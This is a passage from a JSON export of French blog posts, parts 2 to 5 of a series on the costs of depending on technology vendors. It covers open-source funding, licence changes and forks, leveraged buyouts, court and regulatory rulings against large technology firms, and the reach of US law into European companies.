prévoir dans un plan à 3 ans.\n5. Un service peut s\u0026rsquo;arrêter pour des raisons qui ne sont pas les vôtres Ce dernier point est peu probable pour la plupart des organisations. Il est ici parce qu\u0026rsquo;il fonctionne différemment du reste.\nEn février 2025, les États-Unis ont imposé des sanctions au Procureur de la Cour pénale internationale.\nLe Procureur a ensuite perdu l\u0026rsquo;usage de son compte de messagerie Microsoft, et est passé à un fournisseur suisse.\nLe président de Microsoft a dit publiquement que l\u0026rsquo;entreprise n\u0026rsquo;avait pas fermé le compte. Ce qui s\u0026rsquo;est exactement passé est encore contesté, et il est juste de le dire.\nCe qui n\u0026rsquo;est pas contesté, c\u0026rsquo;est l\u0026rsquo;effet. La publication technologique allemande heise l\u0026rsquo;a rapporté comme un tournant pour la souveraineté numérique en Europe. Ç\u0026rsquo;a été soulevé au Parlement européen.\nFin 2025, la Cour était passée à openDesk, une alternative open source.\nC\u0026rsquo;est le mécanisme qui compte ici.\nAucune facture impayée. Aucune règle enfreinte. Rien de mal avec le service.\nUn gouvernement a pris une décision, et un fournisseur a dû déterminer ce qu\u0026rsquo;il pouvait légalement continuer à fournir.\nVotre accord est avec votre fournisseur. Les devoirs légaux de votre fournisseur sont envers son propre gouvernement.\nVous ne pouvez pas surveiller ça. Il n\u0026rsquo;y a pas de voyant d\u0026rsquo;alerte sur un tableau de bord.\nPour la plupart des lecteurs le risque est faible, et l\u0026rsquo;accepter est raisonnable. Ce n\u0026rsquo;est raisonnable que si vous y avez réfléchi.\nLe schéma commun aux 5 Ces 5 coûts sont très différents les uns des autres.\nVous rencontrerez très probablement le premier. Vous ne rencontrerez peut-être jamais le dernier.\nMais ils partagent 1 chose.\nChacun d\u0026rsquo;eux empire à mesure qu\u0026rsquo;il vous est difficile de partir.\nUne hausse de prix est une nuisance si vous avez où aller. Elle est grave si vous n\u0026rsquo;en avez pas.\nC\u0026rsquo;est le fil qui traverse tout le lot, et il pointe quelque part d\u0026rsquo;utile.\nLa question à travailler n\u0026rsquo;est pas dans quel pays siège votre fournisseur. C\u0026rsquo;est la vitesse à laquelle vous pourriez changer d\u0026rsquo;avis.\nLa partie 3 regarde qui d\u0026rsquo;autre paie pour le logiciel que vous utilisez.\nPremière publication : 2026-08-25. Dernière mise à jour : 2026-08-25.\n","permalink":"https://blogs.damiendye.uk/fr/random/what-renting-costs/","summary":"Une fois que changer de fournisseur est difficile, les coûts changent de forme. Le prix suit votre coût de sortie. Le bénéfice est déclaré dans un pays et gagné dans un autre. La loi suit qui possède l\u0026rsquo;entreprise, pas où se trouve le bâtiment. Partie 2 sur 8, en langage simple.","title":"Ce que coûte de louer votre technologie"},{"content":"Partie 3 sur 8. La partie 2 a exposé ce que la dépendance vous coûte.\nCe que couvre ce billet Les années où l\u0026rsquo;open source a été combattu. Pourquoi le combat s\u0026rsquo;est arrêté. Qui maintient le logiciel aujourd\u0026rsquo;hui. Ce qui est arrivé quand les créateurs ont voulu faire payer. Ce qui arrive aux entreprises après un rachat. Ce que ça veut dire pour vous. Les années où l\u0026rsquo;open source a été combattu L\u0026rsquo;open source est un logiciel dont le code peut être lu, utilisé et modifié par quiconque.\nC\u0026rsquo;est ordinaire aujourd\u0026rsquo;hui. Pendant environ 15 ans, ç\u0026rsquo;a été traité comme une menace.\nEn octobre 1998, un mémo interne de Microsoft a fuité. Eric Raymond l\u0026rsquo;a publié avec des notes, et il est devenu connu sous le nom de documents d\u0026rsquo;Halloween.\nLe mémo était honnête sur la qualité de l\u0026rsquo;open source. Il qualifiait de remarquable la façon dont des milliers de gens y travaillent ensemble.\nPuis il exposait quoi faire à ce sujet. Une ligne explique beaucoup :\nBy extending these protocols and developing new protocols, we can deny OSS projects entry into the market.\nUn protocole est une façon convenue pour 2 systèmes de se parler.\nLe plan n\u0026rsquo;était donc pas de bâtir un meilleur produit. Le plan était de changer les jonctions entre les produits, pour qu\u0026rsquo;un concurrent ne puisse pas être inséré.\nPlusieurs autres étapes ont suivi au cours des 10 années suivantes.\nEn 2003, une entreprise appelée SCO a prétendu que Linux contenait du code qu\u0026rsquo;elle possédait. L\u0026rsquo;affaire a traîné des années et SCO n\u0026rsquo;a pas gagné. Pendant qu\u0026rsquo;elle courait, beaucoup d\u0026rsquo;organisations n\u0026rsquo;étaient pas sûres que Linux soit sûr à adopter.\nMicrosoft a aussi signé des accords de brevets avec des fabricants de téléphones mobiles. Pendant plusieurs années, il a touché un paiement sur chaque combiné vendu sous Android, un système d\u0026rsquo;exploitation qu\u0026rsquo;il n\u0026rsquo;avait pas écrit.\nEn 2008, les formats de document de Microsoft ont été approuvés comme norme internationale. Plusieurs organismes de normalisation nationaux ont contesté la façon dont ç\u0026rsquo;a été géré.\nL\u0026rsquo;Europe a repoussé une partie de tout ça. La Commission européenne a infligé à Microsoft une amende de 497 millions d\u0026rsquo;euros en 2004 au sujet d\u0026rsquo;informations dont les concurrents avaient besoin pour travailler avec ses produits.\nElle a de nouveau infligé à l\u0026rsquo;entreprise une amende de 561 millions d\u0026rsquo;euros en 2013, parce qu\u0026rsquo;un remède convenu n\u0026rsquo;avait pas été mis en place.\nCette seconde amende mérite un instant. Le problème n\u0026rsquo;était pas nouveau. La solution convenue n\u0026rsquo;avait simplement pas été appliquée.\nPourquoi le combat s\u0026rsquo;est arrêté Il s\u0026rsquo;est arrêté vers 2014, parce qu\u0026rsquo;il n\u0026rsquo;avait pas marché.\nLinux était devenu le logiciel sur lequel tourne la plupart des serveurs. Il fait aussi tourner la plupart des services de cloud et la plupart des téléphones mobiles.\nVous ne pouvez pas retirer quelque chose par les tribunaux une fois que tout est bâti dessus.\nAlors l\u0026rsquo;approche a fait volte-face.\nMicrosoft a rejoint la Linux Foundation. Il a publié certains de ses propres outils en open source. En 2018, il a racheté GitHub, le site où s\u0026rsquo;écrit une grande partie de l\u0026rsquo;open source du monde.\nAmazon et Google ont bâti de très grandes affaires sur l\u0026rsquo;open source, et les 3 entreprises y remettent maintenant beaucoup de travail.\nCe travail est réel, et le logiciel s\u0026rsquo;en porte mieux. Il serait bête de prétendre le contraire.\nMais 1 chose n\u0026rsquo;a pas changé.\nLes entreprises qui ont autrefois tenté de freiner l\u0026rsquo;open source comptent maintenant parmi ses plus gros financeurs. Elles sont aussi toujours les plus grandes entreprises du marché.\nL\u0026rsquo;open source a gagné l\u0026rsquo;argument technique. Il n\u0026rsquo;a pas changé qui tient la main la plus forte.\nQui maintient le logiciel aujourd\u0026rsquo;hui Voici le passage qui surprend les gens hors du logiciel.\nUne grande partie de l\u0026rsquo;open source très utilisé est maintenue par de très petites équipes. Une partie par 1 seule personne, sur son temps libre, pour rien.\nCes mêmes pièces siègent ensuite à l\u0026rsquo;intérieur de produits vendus par de très grandes entreprises.\nEn décembre 2021, une faille est apparue dans Log4j, un petit outil que les programmes Java utilisent pour consigner ce qu\u0026rsquo;ils font.\nLa faille laissait des attaquants exécuter leur propre code sur les systèmes touchés. Elle a frappé un nombre énorme d\u0026rsquo;organisations d\u0026rsquo;un coup. Le National Cyber Security Centre du Royaume-Uni a publié des consignes à son sujet.\nL\u0026rsquo;outil était maintenu par un petit groupe de bénévoles.\nLa leçon n\u0026rsquo;est pas que l\u0026rsquo;open source est risqué. La plus grande partie est très bonne, et ouverte à l\u0026rsquo;inspection d\u0026rsquo;une façon que le logiciel fermé n\u0026rsquo;est jamais.\nLa leçon porte sur le fait de payer les choses. Le travail partagé sur lequel beaucoup d\u0026rsquo;affaires s\u0026rsquo;appuient a besoin d\u0026rsquo;un financement, et souvent ne l\u0026rsquo;obtient pas.\nCelui-là est réparable, et certaines organisations le réparent. Payer un mainteneur, ou financer une fondation, est en général un tout petit coût à côté de ce que le logiciel vous fait économiser.\nCe qui est arrivé quand les créateurs ont voulu faire payer Certaines entreprises font de l\u0026rsquo;open source et vendent un service payant autour. Ç\u0026rsquo;a assez bien marché un bon moment.\nC\u0026rsquo;est devenu plus difficile quand les fournisseurs de cloud ont commencé à offrir le même logiciel comme un service à eux.\nLe fournisseur prenait les revenus. L\u0026rsquo;entreprise qui avait écrit le logiciel, non.\nPlusieurs d\u0026rsquo;entre elles ont répondu en changeant leur licence, pour que d\u0026rsquo;autres ne puissent pas offrir leur logiciel comme un service concurrent.\nMongoDB a changé sa licence en 2018. Elastic a suivi en 2021. HashiCorp a changé en 2023. Redis a changé en 2024. L\u0026rsquo;Open Source Initiative fixe la définition acceptée de l\u0026rsquo;open source. Elle a jugé que 1 de ces nouvelles licences n\u0026rsquo;y répondait pas.\nBeaucoup de distributions Linux ont ensuite laissé tomber le logiciel touché.\nLa communauté au sens large a pris des copies des dernières versions ouvertes et les a poursuivies séparément. Une copie comme celle-là s\u0026rsquo;appelle un fork.\nOpenSearch poursuit le code Elasticsearch antérieur. OpenTofu poursuit le code Terraform antérieur. Valkey poursuit le code Redis antérieur. Elastic et Redis sont depuis toutes deux revenues à des licences ouvertes.\nIl vaut la peine de regarder comment ça s\u0026rsquo;est terminé, parce que personne d\u0026rsquo;impliqué n\u0026rsquo;a obtenu ce qu\u0026rsquo;il cherchait.\nUne entreprise a bâti un logiciel utile. Une plus grande entreprise en a tiré plus que le créateur. Le créateur a restreint la licence pour survivre. La communauté a objecté, à juste titre, que ce n\u0026rsquo;était plus de l\u0026rsquo;open source. Un fork est apparu, souvent soutenu par les plus grandes entreprises.\nAu bout du compte, le logiciel est encore libre d\u0026rsquo;usage. Les forks sont surtout pilotés par les plus gros acteurs. L\u0026rsquo;affaire qui a payé le travail d\u0026rsquo;origine est plus faible qu\u0026rsquo;à son départ.\nCe qui arrive aux entreprises après un rachat La deuxième façon dont la valeur quitte une affaire n\u0026rsquo;a rien à voir avec les licences de logiciel.\nElle porte sur la façon dont une entreprise se fait racheter.\nVoici le schéma, simplement.\nUn acheteur emprunte la plus grande partie du prix d\u0026rsquo;achat. Le prêt est ensuite garanti sur l\u0026rsquo;entreprise rachetée. L\u0026rsquo;entreprise finit donc par porter la dette qui a servi à l\u0026rsquo;acheter.\nL\u0026rsquo;acheteur peut ensuite vendre les bâtiments de l\u0026rsquo;entreprise et les relouer. L\u0026rsquo;argent levé peut être versé aux nouveaux propriétaires. L\u0026rsquo;entreprise paie maintenant un loyer sur des locaux qu\u0026rsquo;elle possédait avant.\nLes coûts qui n\u0026rsquo;apparaissent pas cette année se font couper. Ça veut d\u0026rsquo;habitude dire la maintenance, les effectifs, la recherche et le développement de produits.\nPuis l\u0026rsquo;entreprise est revendue.\nLa Banque d\u0026rsquo;Angleterre a examiné le côté stabilité financière de tout ça. Son étude sur le private equity note qu\u0026rsquo;un fort endettement sur les rachats rend ces entreprises plus susceptibles de faire défaut, et expose leurs prêteurs à des pertes. Elle a continué à surveiller le secteur depuis.\nTous les rachats ne fonctionnent pas ainsi, et beaucoup de propriétaires investissent plutôt qu\u0026rsquo;ils ne dépouillent. C\u0026rsquo;est un schéma à reconnaître, pas une description de tous les acheteurs.\nMais là où ça arrive, l\u0026rsquo;issue est la même à chaque fois.\nL\u0026rsquo;affaire marchait en général très bien. Ce qui ne marchait pas, c\u0026rsquo;était l\u0026rsquo;affaire plus la dette contractée pour l\u0026rsquo;acheter.\nLa même entreprise avant et après un rachat financé par l'emprunt Avant Après Le travail Même personnel, mêmes clients Possède ses bâtiments Aucune dette liée au rachat Finance l'entretien Finance la recherche Loyer payé : aucun Le travail Même personnel, mêmes clients Loue les mêmes bâtiments Porte l'emprunt du rachat Entretien réduit Recherche réduite Loyer payé : chaque mois racheté avec de l'argent emprunté L'entreprise fait toujours le même travail pour les mêmes clients. Ce qui a changé, c'est ce qu'elle possède et ce qu'elle doit maintenant verser. La même affaire, avant et après. Le travail et les clients restent en place. Les bâtiments et l\u0026rsquo;emprunt changent de mains, et les coûts de fonctionnement montent. Le même schéma dans le logiciel Ça a atteint le logiciel il y a quelques années.\nL\u0026rsquo;actif que l\u0026rsquo;on exploite n\u0026rsquo;est pas un bâtiment. Ce sont les clients qui ne peuvent pas facilement partir.\nUn produit mûr avec des clients de longue date peut être retarifé. Ces clients ne peuvent pas bouger vite, et à ce titre la plupart paient.\nEn même temps, les dépenses d\u0026rsquo;ingénierie peuvent être coupées. Ça met des années à se voir, et d\u0026rsquo;ici là la vente est passée.\nLa partie 2 a couvert à quoi ça ressemblait pour les clients de VMware.\nIl y a aussi une version financée par des investisseurs plutôt que par la dette. Elle a été décrite assez souvent pour mériter un nom : l\u0026rsquo;enshittification, un mot employé par l\u0026rsquo;écrivain canadien Cory Doctorow à partir de 2022.\nElle se déroule en 3 étapes.\nLe service est vendu en dessous de ce qu\u0026rsquo;il coûte à faire tourner, payé par des investisseurs. Il est bon marché et bon, alors les gens y viennent. Une fois que les gens ne peuvent plus facilement partir, il est modifié pour convenir aux clients professionnels payants à la place. Une fois les deux côtés engagés, les conditions changent encore pour augmenter le bénéfice. L\u0026rsquo;étape 1 est celle qui compte pour cette série.\nUne entreprise qui vend en dessous de son coût pendant des années ne gagne pas parce qu\u0026rsquo;elle est meilleure. Elle est financée pour prendre le marché.\nLes petites affaires qui doivent couvrir leurs propres coûts ne peuvent pas égaler ce prix. Beaucoup ferment.\nQuand les prix grimpent ensuite vers quelque chose de tenable, le choix qui existait a souvent disparu.\nCe que ça veut dire pour vous Deux choses pratiques ressortent de ça, et les deux sont assez faciles à faire.\nVérifiez combien de gens maintiennent vos dépendances.\nRegardez les outils sans lesquels vos systèmes ne pourraient pas tourner. Découvrez combien de gens maintiennent activement chacun.\nSi la réponse est 1 ou 2, ça vaut la peine de le savoir. Vous voudrez peut-être financer ce travail, garder votre propre copie du code source, ou prévoir ce que vous feriez s\u0026rsquo;il s\u0026rsquo;arrêtait.\nSurveillez qui possède vos fournisseurs.\nVos conditions suivent le propriétaire, pas le produit. Un changement de propriétaire peut déplacer votre renouvellement plus que tout changement dans le logiciel.\nQuand vous signez, vérifiez ce que vous gardez si vous arrêtez de payer. Vérifiez si vous pouvez encore faire tourner ce que vous avez déjà installé, et si vous obtenez encore les mises à jour de sécurité.\nNi l\u0026rsquo;un ni l\u0026rsquo;autre ne prend longtemps. Les deux sont bien plus faciles avant un renouvellement que pendant.\nLa partie 4 regarde ce que les tribunaux et les régulateurs ont déjà décidé.\nPremière publication : 2026-08-25. Dernière mise à jour : 2026-08-25.\n","permalink":"https://blogs.damiendye.uk/fr/random/who-pays-for-the-software/","summary":"Les 2 premiers billets ont regardé ce que la dépendance vous coûte. Celui-ci regarde qui d\u0026rsquo;autre règle la note : les bénévoles qui maintiennent le logiciel pour de très grandes entreprises, et les affaires rachetées, endettées et réduites. Partie 3 sur 8, en langage simple.","title":"Qui paie pour le logiciel que vous utilisez"},{"content":"Partie 4 sur 8. La partie 3 a regardé qui paie pour le logiciel que vous utilisez.\nCe que couvre ce billet Pourquoi le dossier vaut d\u0026rsquo;être lu. Ce qui a été décidé au sujet de Google. Ce qui a été décidé au sujet d\u0026rsquo;Apple. Ce qui a été décidé au sujet d\u0026rsquo;Amazon. Ce qui a été décidé au sujet de Meta. Le schéma commun à tout le lot. Pourquoi le dossier vaut d\u0026rsquo;être lu Choisir un fournisseur est une prédiction. Vous décidez comment il se comportera dans 3 ou 5 ans.\nLes déclarations de valeurs des entreprises ne servent pas à grand-chose pour ça. Tout le monde en a une, et elles disent toutes à peu près la même chose.\nLes constats de fait sont meilleurs. Ce sont les conclusions qu\u0026rsquo;un tribunal ou un régulateur a atteintes après avoir entendu des preuves.\nC\u0026rsquo;est ce qu\u0026rsquo;utilise ce billet. Là où une décision européenne existe, elle vient en premier.\nDeux choses avant la liste, parce qu\u0026rsquo;elles la gardent honnête.\nToutes les affaires ne sont pas allées contre les entreprises. Certaines sont allées contre les régulateurs, et celles-là sont ici aussi.\nEt ce n\u0026rsquo;est pas une prétention que les entreprises européennes se comportent mieux. Volkswagen et Wirecard le règlent assez bien. Le schéma découle de la taille et de la position sur le marché, pas de l\u0026rsquo;origine d\u0026rsquo;une entreprise.\nGoogle La Commission européenne est arrivée la première, et les affaires ont mis longtemps à se terminer.\nEn 2017, elle a infligé à Google une amende de 2,42 milliards d\u0026rsquo;euros. Elle a constaté que Google avait poussé son propre service de comparaison de prix vers le haut des résultats de recherche et les rivaux vers le bas.\nGoogle a fait appel, et la Cour de justice de l\u0026rsquo;Union européenne a confirmé la décision en septembre 2024.\nC\u0026rsquo;est 7 ans après l\u0026rsquo;amende, et plus encore après le comportement.\nEn 2018, la Commission a infligé à Google une amende de 4,34 milliards d\u0026rsquo;euros au sujet des conditions imposées aux fabricants de téléphones qui voulaient le Play Store. L\u0026rsquo;amende a été plus tard ramenée à environ 4,1 milliards d\u0026rsquo;euros, et l\u0026rsquo;appel final a été rejeté en 2026.\nEn 2019, la Commission a infligé à Google une amende de 1,49 milliard d\u0026rsquo;euros au sujet de contrats publicitaires. Le Tribunal a annulé celle-là en 2024, jugeant que le dossier n\u0026rsquo;avait pas été établi. Le régulateur l\u0026rsquo;a perdue.\nAux États-Unis, un tribunal a constaté en 2024 que Google avait illégalement conservé un monopole dans la recherche. En septembre 2025, le même tribunal a exposé les remèdes. Il a exigé des changements aux accords par défaut et un certain partage de données avec les concurrents. Il a refusé de faire vendre Chrome ou Android à Google.\nUne décision américaine distincte, en avril 2025, a constaté que Google avait illégalement lié 2 de ses produits publicitaires. Ce remède est encore en cours de décision.\nApple En 2021, un tribunal américain a ordonné à Apple de laisser les développeurs d\u0026rsquo;applications informer les clients d\u0026rsquo;autres moyens de payer.\nEn avril 2025, le même tribunal a constaté qu\u0026rsquo;Apple ne s\u0026rsquo;était pas conformé.\nIl a aussi constaté qu\u0026rsquo;un cadre dirigeant d\u0026rsquo;Apple avait donné un témoignage inexact, et que les propres documents internes de l\u0026rsquo;entreprise disaient le contraire. CNBC a rapporté la décision à l\u0026rsquo;époque.\nLe tribunal a renvoyé l\u0026rsquo;affaire aux procureurs pour envisager des poursuites pour outrage criminel. Apple a dit qu\u0026rsquo;il ferait appel.\nCelui-ci compte pour une raison différente du reste.\nUne entreprise peut avoir une vue ferme de sa position juridique et traiter quand même droit avec un tribunal. Un constat qu\u0026rsquo;un témoignage était inexact est une tout autre chose.\nVotre relation avec un fournisseur est un ensemble de promesses. Ceci est une preuve directe de la façon dont les promesses sont traitées une fois que les tenir devient coûteux.\nAmazon En septembre 2025, Amazon a accepté de payer 2,5 milliards de dollars pour régler une affaire portée par la Federal Trade Commission américaine. La Commission en a publié le détail.\nC\u0026rsquo;était 1 milliard de dollars de pénalités et 1,5 milliard de dollars rendus aux clients.\nL\u0026rsquo;affaire portait sur la conception de l\u0026rsquo;inscription et de la résiliation de Prime. L\u0026rsquo;allégation était que les écrans étaient bâtis pour inscrire des gens qui n\u0026rsquo;avaient pas choisi de s\u0026rsquo;inscrire, et pour rendre la résiliation laborieuse. La Commission a dit qu\u0026rsquo;environ 35 millions de personnes étaient touchées.\nAmazon a accepté de changer le processus d\u0026rsquo;inscription et de résiliation dans le cadre du règlement.\nLes conceptions d\u0026rsquo;interface à cette échelle sont testées et mesurées avant leur sortie — c\u0026rsquo;est une pratique normale et sensée. À ce titre, l\u0026rsquo;effet d\u0026rsquo;une conception est en général connu avant sa mise en service.\nMeta En 2019, la Federal Trade Commission américaine a imposé une pénalité de 5 milliards de dollars à Facebook au sujet de pratiques de confidentialité, après l\u0026rsquo;affaire Cambridge Analytica.\nLe point le plus gros n\u0026rsquo;est pas une amende.\nEn 2021, une ancienne employée a remis des recherches internes de l\u0026rsquo;entreprise à des journalistes, puis a témoigné devant une commission du Sénat américain. La BBC a rapporté son affirmation centrale, qui était que l\u0026rsquo;entreprise avait mis le profit devant la sécurité, encore et encore.\nUne partie de ces recherches examinait l\u0026rsquo;effet d\u0026rsquo;Instagram sur les utilisateurs adolescents. Certaines parties revenaient inquiétantes.\nMeta était en désaccord avec la façon dont les recherches étaient décrites. Elle a dit que les constats étaient plus nuancés que rapportés, et que l\u0026rsquo;ancienne employée n\u0026rsquo;avait pas travaillé dans ces équipes. La science plus large sur ce sujet n\u0026rsquo;est pas tranchée, et il est juste de le dire.\nUn point n\u0026rsquo;est pas contesté, et c\u0026rsquo;est celui à garder.\nL\u0026rsquo;entreprise a étudié si son produit nuisait à un groupe d\u0026rsquo;utilisateurs. Une partie de ce travail est revenue inquiétante. Les résultats ont atteint le public parce que quelqu\u0026rsquo;un les a sortis du bâtiment.\nDes recherches qui ne sortent que de cette façon n\u0026rsquo;ont rien d\u0026rsquo;un contrôle indépendant.\nLe schéma commun à tout le lot Mettez les affaires côte à côte et 4 choses ressortent. Elles comptent plus pour la planification que n\u0026rsquo;importe quelle affaire isolée.\n1. Les pénalités sont faibles à côté du gain.\nQuelques milliards, c\u0026rsquo;est un petit chiffre face à des revenus se comptant en centaines de milliards. Ça retombe aussi des années après que l\u0026rsquo;argent a été gagné.\nQuand une pénalité revient à moins que le bénéfice, elle fonctionne comme un coût de fonctionnement plutôt que comme une dissuasion.\n2. Les remèdes arrivent tard.\nL\u0026rsquo;écart entre le comportement et un remède exécutoire va d\u0026rsquo;environ 7 à 12 ans dans ces affaires.\nLes concurrents durent rarement aussi longtemps. Le temps qu\u0026rsquo;un remède morde, le marché qu\u0026rsquo;il devait protéger a en général déjà changé de forme.\n3. Les individus sont rarement touchés.\nLes amendes sont payées par l\u0026rsquo;entreprise — donc par ses actionnaires — tandis que les gens qui ont approuvé les décisions gardent en général leur rémunération et leur poste.\nÇa compte parce que ça façonne l\u0026rsquo;incitation. Là où le coût retombe sur l\u0026rsquo;entreprise et la récompense retombe sur l\u0026rsquo;individu, la décision paraît valoir la peine à la personne qui la prend.\n4. Les problèmes sont connus en interne avant de l\u0026rsquo;être dehors.\nDans plusieurs de ces affaires, la structure avait l\u0026rsquo;information la première. Elle a atteint le public par une fuite, un procès ou un régulateur à la place.\nAttention à ce que vous en tirez, notez bien.\nCe ne sont en général pas des cas d\u0026rsquo;une personne cherchant à nuire. Une équipe a amélioré un écran d\u0026rsquo;inscription face à un objectif. Un système de classement a été réglé pour augmenter l\u0026rsquo;usage. Un constat de recherche est resté non publié.\nLes décisions sont réparties sur beaucoup de gens, et chaque étape paraît raisonnable en soi. C\u0026rsquo;est ce qui rend le schéma si régulier, et pourquoi demander aux entreprises de faire plus d\u0026rsquo;efforts ne le déplacera probablement pas.\nQuoi faire de ça Utilisez-le pour la question à laquelle il répond réellement.\nLà où un fournisseur a un intérêt commercial et où vous n\u0026rsquo;avez pas de vraie alternative, le dossier dit que l\u0026rsquo;issue tend à aller dans le sens du fournisseur.\nToute correction arrive en général des années plus tard, et coûte en général au fournisseur moins que ce que le comportement a rapporté.\nCe n\u0026rsquo;est pas une raison d\u0026rsquo;éviter un fournisseur à cause du pays où il siège.\nC\u0026rsquo;est une bonne raison de ne dépendre d\u0026rsquo;aucun fournisseur que vous ne pourriez pas quitter.\nLa partie 5 regarde comment la loi d\u0026rsquo;un pays peut atteindre des entreprises dans un autre.\nPremière publication : 2026-08-25. Dernière mise à jour : 2026-08-25.\n","permalink":"https://blogs.damiendye.uk/fr/random/what-the-record-shows/","summary":"Choisir un fournisseur, c\u0026rsquo;est deviner comment il se comportera plus tard. La base la plus juste de cette devinette est ce que les tribunaux et les régulateurs ont déjà décidé. La partie 4 sur 8 expose les décisions, inclut les affaires que les régulateurs ont perdues, et dégage le schéma.","title":"Ce que montre le dossier"},{"content":"Partie 5 sur 8. La partie 4 regardait ce que les tribunaux et les régulateurs ont décidé.\nCe que couvre ce billet La loi qui atteint des entreprises dans d\u0026rsquo;autres pays. Ce que la France en a fait. De plus vieilles inquiétudes au sujet de l\u0026rsquo;information commerciale. La pression appliquée par le commerce. Les hypothèses qui voyagent avec un produit. La loi qui atteint des entreprises dans d\u0026rsquo;autres pays La partie 2 expliquait comment la loi d\u0026rsquo;un pays peut atteindre des données détenues par une entreprise qu\u0026rsquo;il contrôle.\nLe même principe atteint les entreprises elles-mêmes, et les effets peuvent être bien plus gros.\nL\u0026rsquo;exemple le mieux documenté en Europe est Alstom, une société d\u0026rsquo;ingénierie française.\nEn 2014, Alstom a plaidé coupable aux États-Unis et a accepté de payer 772 millions de dollars. L\u0026rsquo;affaire relevait du Foreign Corrupt Practices Act, une loi américaine contre la corruption. Le Department of Justice américain en a publié le détail.\nLa corruption était réelle. Ce n\u0026rsquo;est pas le récit d\u0026rsquo;une entreprise innocente.\nUn cadre d\u0026rsquo;Alstom a aussi été arrêté alors qu\u0026rsquo;il passait par les États-Unis, et a passé du temps en prison.\nVers la même période, Alstom a vendu son activité énergie à General Electric, une entreprise américaine.\nLe cadre a depuis soutenu que l\u0026rsquo;affaire non résolue a joué comme une pression pendant cette vente. Les procureurs américains ont nié avoir agi pour aider un acheteur américain.\nCe désaccord n\u0026rsquo;a jamais été tranché, et ce billet ne peut donc pas le trancher non plus.\nCe que la France en a fait Ce qu\u0026rsquo;on peut montrer, c\u0026rsquo;est ce que l\u0026rsquo;État français a conclu ensuite.\nEn juin 2019, un rapport a été remis au Premier ministre français. Il est connu comme le rapport Gauvain, et son titre porte sur le rétablissement de la souveraineté française et européenne et la protection des entreprises contre les lois à portée extraterritoriale.\nExtraterritorial veut dire une loi qui s\u0026rsquo;applique au-delà des frontières du pays qui l\u0026rsquo;a faite.\nLe rapport a constaté 3 choses qui valent d\u0026rsquo;être répétées ici.\nDe très lourdes pénalités, atteignant des dizaines de milliards de dollars, avaient été infligées à des entreprises françaises, européennes et autres non américaines. Une grande partie des faits n\u0026rsquo;avait guère de lien direct avec le territoire américain. Les entreprises françaises n\u0026rsquo;avaient aucun outil juridique efficace pour se défendre. Il notait aussi que les entreprises américaines étaient rarement visées.\nLa France a ensuite mis à jour sa loi de blocage, une loi qui limite les informations que les entreprises françaises peuvent remettre à des autorités étrangères. Une précédente enquête parlementaire avait examiné le même sujet en 2016.\nVous n\u0026rsquo;avez pas à avaler chaque conclusion de ce rapport. Il suffit qu\u0026rsquo;un parlement national ait examiné la question et décidé que c\u0026rsquo;était une affaire de souveraineté.\nPour votre propre planification, le point est court.\nUne exposition juridique à un autre pays est une exposition commerciale. Pas seulement une exposition de conformité.\nDe plus vieilles inquiétudes au sujet de l\u0026rsquo;information commerciale Cette inquiétude n\u0026rsquo;est pas neuve, et il vaut de savoir jusqu\u0026rsquo;où elle remonte.\nEn 2001, le Parlement européen a publié un rapport sur un système mondial d\u0026rsquo;interception des communications, connu à l\u0026rsquo;époque sous le nom d\u0026rsquo;ECHELON. Le Parlement a depuis publié une étude qui revient sur ce travail.\nLe rapport a conclu qu\u0026rsquo;un tel système existait. Il examinait aussi des affirmations selon lesquelles des informations interceptées avaient servi à un avantage commercial, y compris contre des entreprises européennes.\nCes affirmations étaient contestées à l\u0026rsquo;époque et restent difficiles à prouver.\nLa raison de le mentionner n\u0026rsquo;est pas de les trancher. C\u0026rsquo;est que le Parlement européen a pris la question assez au sérieux pour mener une enquête formelle il y a 25 ans, et elle n\u0026rsquo;a pas disparu depuis.\nLa pression appliquée par le commerce La partie 2 traitait des droits de douane sur le matériel, et du Canada abandonnant sa taxe sur les services numériques après la rupture des pourparlers commerciaux.\nIl y a une étape de plus qui vaut d\u0026rsquo;être notée à part, parce qu\u0026rsquo;elle vise des personnes plutôt que des marchandises.\nEn janvier 2026, le Département d\u0026rsquo;État américain a imposé des restrictions de visa à 5 responsables européens. Ils avaient travaillé sur le Digital Markets Act et le Digital Services Act, les lois européennes qui encadrent les grandes plateformes en ligne.\nC\u0026rsquo;est venu de pair avec des menaces de droits de douane liées à l\u0026rsquo;action répressive européenne.\nLe Centre for Strategic and International Studies a décrit cela comme l\u0026rsquo;usage de mesures commerciales pour décourager la régulation du numérique.\nL\u0026rsquo;Istituto Affari Internazionali, un institut italien, s\u0026rsquo;est demandé si l\u0026rsquo;application du Digital Markets Act devient négociable en conséquence.\nC\u0026rsquo;est là la question ouverte. Si les règles européennes du numérique peuvent être déplacées par la pression commerciale, la protection qu\u0026rsquo;elles vous donnent est moins sûre que le texte ne le laisse croire.\nIl est seulement juste d\u0026rsquo;ajouter que la pression commerciale est un outil normal de l\u0026rsquo;art de gouverner, employé par bien des pays, y compris des pays européens. Le point ici est ce sur quoi elle est employée.\nLes hypothèses qui voyagent avec un produit Le dernier point est plus discret que le reste — pas d\u0026rsquo;affaire au tribunal, pas d\u0026rsquo;amende — et il vous touche chaque jour.\nUn logiciel est bâti pour le marché que ses auteurs connaissent le mieux. Les hypothèses de ce marché voyagent avec lui.\nCertaines, vous les reconnaîtrez tout de suite.\nLes réglages de confidentialité penchent souvent par défaut vers le partage, parce que c\u0026rsquo;est l\u0026rsquo;approche courante aux États-Unis. La loi européenne part de la demande de permission. Les outils de gestion du personnel supposent souvent qu\u0026rsquo;un emploi peut finir à bref préavis, et qu\u0026rsquo;il n\u0026rsquo;y a pas de comité d\u0026rsquo;entreprise à consulter. Les conditions contractuelles types veulent souvent que les litiges soient entendus par un tribunal américain, sous la loi américaine, même pour un client européen. Les règles de contenu suivent l\u0026rsquo;approche d\u0026rsquo;un seul pays sur la liberté d\u0026rsquo;expression, puis s\u0026rsquo;appliquent au monde entier. La prise en charge des langues plus petites arrive en dernier, et parfois pas du tout. Rien de tout cela n\u0026rsquo;est fait pour causer des ennuis — c\u0026rsquo;est le résultat ordinaire de bâtir pour un marché d\u0026rsquo;origine et de vendre le résultat partout ailleurs.\nCela explique pourtant quelque chose de l\u0026rsquo;argument plus large.\nLe Règlement général sur la protection des données, le Digital Markets Act et le Digital Services Act sont surtout l\u0026rsquo;Europe affirmant qu\u0026rsquo;elle est un espace juridique à part, avec ses propres règles arrêtées.\nLa réponse à cela a compris les mesures commerciales vues plus haut.\nCe que ça veut dire pour vous Trois points pratiques en découlent.\nLisez la clause de loi applicable. Vérifiez quels tribunaux entendraient un litige. Sur un gros contrat, ça vaut 